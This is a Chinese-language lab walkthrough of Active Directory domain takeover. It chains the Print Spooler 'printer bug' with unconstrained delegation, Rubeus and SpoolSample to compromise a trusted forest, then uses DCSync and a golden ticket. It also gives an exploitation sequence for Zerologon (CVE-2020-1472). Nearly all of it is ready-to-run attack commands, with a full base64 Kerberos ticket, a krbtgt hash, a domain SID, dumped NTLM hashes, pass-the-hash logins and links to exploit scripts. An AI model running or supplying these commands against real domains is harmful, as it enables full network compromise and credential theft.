一台 ly-2 密码:yk-22012.com

MS-RPPRN获取信任林权限

利用条件:需要设置一台主机账户开启了非约束委派域内机器的权限,实际可配合powerview脚本查找主机,域控主机需要为win2012 server r2 以上 版本,Print Spooler服务默认是自动运行的

image-20220712112745485

实验场景:

  • 已获得一个林的权限(EA).。本例为sakura.com
  • 配置了无约束委派的、已被攻击者控制的一台服务器(ly-1.sakura.com)
  • 在演示案例中,攻击者入侵了根域的域控制器(DC),利用该DC攻击另一个域林中的另一个DC
  • 目标域林:本例中为salmon.com

image-20220713162710957

攻击示意图

image-20220712150156656

利用工具

image-20220712150254348

.\Rubeus.exe monitor /interval:5 /filteruser:ly-2$

interval参数用于设置监控的时间间隔,单位为秒;filteruser用于指定渗透测试中需要关注的用户

image-20220713160424988

.\SpoolSample.exe ly-2.salmon.com ly-1.sakura.com

image-20220713155559395

此时rubeus监听到了TGT

image-20220713160359007

使用Rubeus工具直接把base64字符串导入票据:

.\Rubeus.exe ptt /ticket:doIE+DCCBPSgAwIBBaEDAgEWooIEBjCCBAJhggP+MIID+qADAgEFoQwbClNBTE1PTi5DT02iHzAdoAMCAQKhFjAUGwZrcmJ0Z3QbClNBTE1PTi5DT02jggPCMIIDvqADAgESoQMCAQKiggOwBIIDrBG1txlv0N5lRuOFLSbrz8uiCgjf4LwfNvlgi5p0Q80N4A9p301eRDthpV4Bwd7JCHjL7tQ/gZNU3cbA6PO3YCpg5AiVYcR7OnvfIU2LByxKN2iA4YMXRTIhFJZlRiuu4Wh2CQVbDHM+WR8rTHwnAetzq9uOkUrL7HiyK09IT1dmaQS5z7jm3WoRiSfqzfqrqpkrYUXHrKTNmeqdOxX9moYgpsFjKXwMZdHVcmnDLndt147OhMQfFOKwiVtN29YH/rvbmJnrYVLu6ZWZZpi7bj/bXY9pY8GeoNGxJMVZbiULiRnfToi0Db8DMpo115omCnsX7qfquZp5NmbyzO2/V1jknoUQ6k2qIvF+bvjydlh1PciiWxosTAMbD6bJMvwUUT78DZN6IRW9Dg0p3PgVexL73/BwCJ8f89cMzdXh7kZHm/ozhJI9uf1p0v9J2tu0g3flGDo+MF+VZBYBgVXNHiCM1oQGuEPI0Lx2Xs1JR5CCq4HdGh0tNgBIc7ppYg9W8S+6OfZU8dyQdtFh2Rc76CNHEipCzCZYBTctIJ5IV02oPzTM3lvQrbd2BsDBpWPqlV3u/7r5vm2ywp81yA2n7ZCYrZP+F9NP46IXIQ0hKT9VKoNf5ODqbH7H+0bfZogAMuMNN7Bs746NyC7qjhUbRWlmtRNfSlNqaHvsXdzcG7s87gTO9bS0v4Vxxf1ZFGnjsXfia/zvjIFymUdTJzak86FjyCj9HzxWmnSnImwT2WShnWex+S5PfOnuH7Mu8hSe/riKpdK1HdrRL3hBhhsT+vE3HNmLr7DIF0iZ5523Fibp0tOAgGf0LABdHa60anzlOSR5k2gWLSa4JifMxjohaQ5VUt3af6hewd67ZuTL9afVJyvYgAhjOsG7WEPJ1xgN3kOSp9KO+gZV7h9nKEeSScCaIDp5N29fU9CSxOzfQwct7i12BJwSGCK17S3M84v3DSXZWHmq891p2rw4Sr8BBEOE0FDfRhdnboNzkQ5Qf7CS2pafxLxtfQDiWKu2JQdRzNrLkb30zTBG4/uY/o9TBiN5mPSOPSjEqKVurkU3T0M1mYGaX9S0NdppQHKTMDEFdSMY58YzQ25PaEqMqUlvwI0V8c4cVRHsAtefz8GPfHS1I5ENB0OsSoRmWfel0T9/XX7gUjxgf4pQDYzLKb+WZm2fVMKVfB+U2kLcDC3oQ2wnRkmAYLYxJrKOVJRQVlPbIwhCsaP0JYX658qEA6BO9DjhJbz4jfXzOL+TH7ejgd0wgdqgAwIBAKKB0gSBz32BzDCByaCBxjCBwzCBwKArMCmgAwIBEqEiBCAsySonk73tkRU5Ja0UNRWW/zhAgUSZuBym4G3BFO7qKqEMGwpTQUxNT04uQ09NohIwEKADAgEBoQkwBxsFTFktMiSjBwMFAGChAAClERgPMjAyMjA3MTMwNzM0NDRaphEYDzIwMjIwNzEzMTczNDQ0WqcRGA8yMDIyMDcxMzE3MzQ0NFqoDBsKU0FMTU9OLkNPTakfMB2gAwIBAqEWMBQbBmtyYnRndBsKU0FMTU9OLkNPTQ==

image-20220713163130505

.\mimikatz.exe privilege::debug "lsadump::dcsync /domain:salmon.com /user:krbtgt" exit

image-20220713163220750

.\mimikatz.exe "kerberos::list" exit
.\mimikatz.exe "kerberos::purge" exit
.\mimikatz.exe "kerberos::list" exit
.\mimikatz.exe "kerberos::golden /user:administrator /domain:salmon.com /sid:S-1-5-21-3200352805-2293635123-428118185 /rc4:8da01a075e60007f23b3ce18b77b9a0f /ptt" exit

image-20220713164513444

进一步利用,命令执行

.\mimikatz.exe privilege::debug "lsadump::dcsync /domain:salmon.com /all /csv" exit

获得信息:

1104    SAKURA$ 76771a6354707379eb4bfd77a28224e5        2080
1001    LY-2$   0d9a393377c2f46a3b2a20a95954e540        532480
500     Administrator   8168027b15e25c5d6ad39528429229d6        512
502     krbtgt  8da01a075e60007f23b3ce18b77b9a0f        514
python3 ./wmiexec.py -hashes ad3b435b51404eeaad3b435b51404ee:8168027b15e25c5d6ad39528429229d6 ly-2.salmon.com/administrator@192.168.64.151

image-20220713171855227

扩展 CVE-2020-1472 windows域控提权

CVE-2020-1472 是⼀个 windows 域控中严重的远程权限提升漏洞,攻击者通过 NetLogon,建⽴与域控间易受攻击的安全通道时,可利⽤此漏洞获取域管访问权限(将域控中保存在AD中的管理员password设置为空);其漏洞原理是发⽣在 RPC 认证过程的过程中,由于错误的使⽤了 AES-CFB8 加密所导致漏洞成因,该漏洞适⽤于 Win2008 后的所有版本

利用场景:获取了一个加入了域的计算机权限,在域普通账号的情况下,将域管密码置空,导出域管hash,然后进行连接

ps:在实战环境中,由于会把域控机器的账户和密码清空,所以有可能会导致域内出问题,可能导致某些服务⽆法正常运⾏,严重会造成脱域等情况,请谨慎利⽤。

前置条件:目标域控存在此漏洞未打补丁,这个漏洞用到了MS-NRPC协议,用到了135端口

注意:在检测或者执行exp的时候,所在主机不一定加入域环境中,在涉及域解析的时候直接在hosts里面设置域名对应ip就行

复现步骤:

首先获取主机名:

nbtstat -A 192.168.64.150

image-20220713221143362

探测是否存在漏洞:

链接:https://github.com/SecuraBV/CVE-2020-1472

image-20220713223158821

存在漏洞,下一步拿exp去打

exp链接:https://github.com/dirkjanm/CVE-2020-1472

python3 cve-2020-1472-exploit.py ly-1 192.168.64.150

image-20220713223643646

导出密码

python3 secretsdump.py sakura.com/ly-1\$@192.168.64.150    -no-pass > ~/Desktop/pass.txt

ps:kali $前要加个转义符号!

image-20220713230309872

连接上去

python3 ./wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:07d312335be3ab7eceda2a6d341e5cbb ly-1.sakura.com/administrator@192.168.64.150

image-20220713230637115

成功连接

恢复域控原始hash

reg save HKLM\SYSTEM system.save
reg save HKLM\SAM sam.save
reg save HKLM\SECURITY security.save
lget system.save
lget sam.save
lget security.save

删除文件

del /f system.save
del /f sam.save
del /f security.save

通过 sam.save、security.save、system.save 这些⽂件获得原来域控机器上的 Ntlm Hash 值,⽤于恢复密码

python3 secretsdump.py -sam sam.save -system system.save -security security.save LOCAL

image-20220713234613032

通过拿到 $MACHINE.ACC: 的值,然后进⾏恢复

脚本下载:https://github.com/risksense/zerologon/blob/master/reinstall_original_pw.py

使用方法:python reinstall_original_pw.py 域控机器名 域控ip $MACHINE.ACC后半部分的值

python3 reinstall_original_pw.py ly-1 192.168.64.150 d6b706f6a4ea457327a4bfc1c4c642cb

image-20220713235319943

测试是否恢复成功

python3 secretsdump.py sakura.com/ly-1\$@192.168.64.150    -no-pass 

image-20220713235714975

此时使用空密码去获取域内的所有用户的凭证已经不行了